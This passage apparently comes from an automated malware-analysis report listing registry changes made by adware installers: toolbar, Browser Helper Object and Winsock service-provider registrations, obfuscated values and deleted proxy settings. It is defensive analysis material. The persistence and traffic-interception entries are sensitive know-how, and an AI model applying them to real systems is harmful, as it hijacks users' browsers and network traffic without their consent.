[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\URLSearchHooks]
"(Default)" = "{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKCR\Interface\{CCC7B150-1D8C-11E3-B2AD-F3EF3D58318D}]
"(Default)" = "IToolbarMainBrowser"

[HKCR\Wow6432Node\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"NoModify" = "1"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}]
"(Default)" = "WebProtector"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WebProtector]
"UninstallString" = "%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe"

[HKCR\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib]
"(Default)" = "{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Toolbar]
"{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}" = "Web Protector Toolbar"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"ClsidExtension" = "{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKCR\Wow6432Node\Interface\{3050F3EE-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib]
"(Default)" = "{CCC7B14F-1D8C-11E3-B2AD-F3EF3D58318D}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"Default Visible" = "yes"

[HKCR\Wow6432Node\CLSID\{CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}\VersionIndependentProgID]
"(Default)" = "WebProtector.toolbar"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]
"HotIcon" = "%Program Files% (x86)\WebProtector\hotbtn.ico"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extensions\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}]

The process a802e32e-c834-41ba-9f76-26b80ade37d5-4.exe:4328 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\iWebar\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process Hibqtpj.exe:3784 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrPublisherId" = "20891"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayVersion" = "1.36.01.22"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "78 81 4B 97 27 83 D0 01"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "04 BB 70 94 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayIcon" = "%Program Files% (x86)\SensePlus\utils.exe"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Installer]
"BundledFirefox" = "1"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"Publisher" = "Sense "
"DisplayName" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 64 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrAppId" = "70299"
"UninstallString" = "%Program Files% (x86)\SensePlus\Uninstall.exe /fcp=1"

[HKCU\Software\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\InstalledBrowserExtensions\Sense ]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process regsvr32.exe:4040 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:1864 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "YTAHelper 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"NoExplorer" = "1"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]

The process regsvr32.exe:3672 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

"NoExplorer" = "1"

The process regsvr32.exe:3296 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process lspinst.exe:3116 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ`DvisWwj@pPX["

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LKUkiRXt|QiW{fDh`NkAwsXbDWCkK"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 70 A4 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "KPK{bWdlh|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "R[vJVqJXaKpx^^S|"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dt`ARLXEPtLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "F}FdcTzbnLZBznXQtn["

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZbn"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:3220 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ`DvisWwj@pPX["

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 70 A4 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1022"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "KPK{bWdlh|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
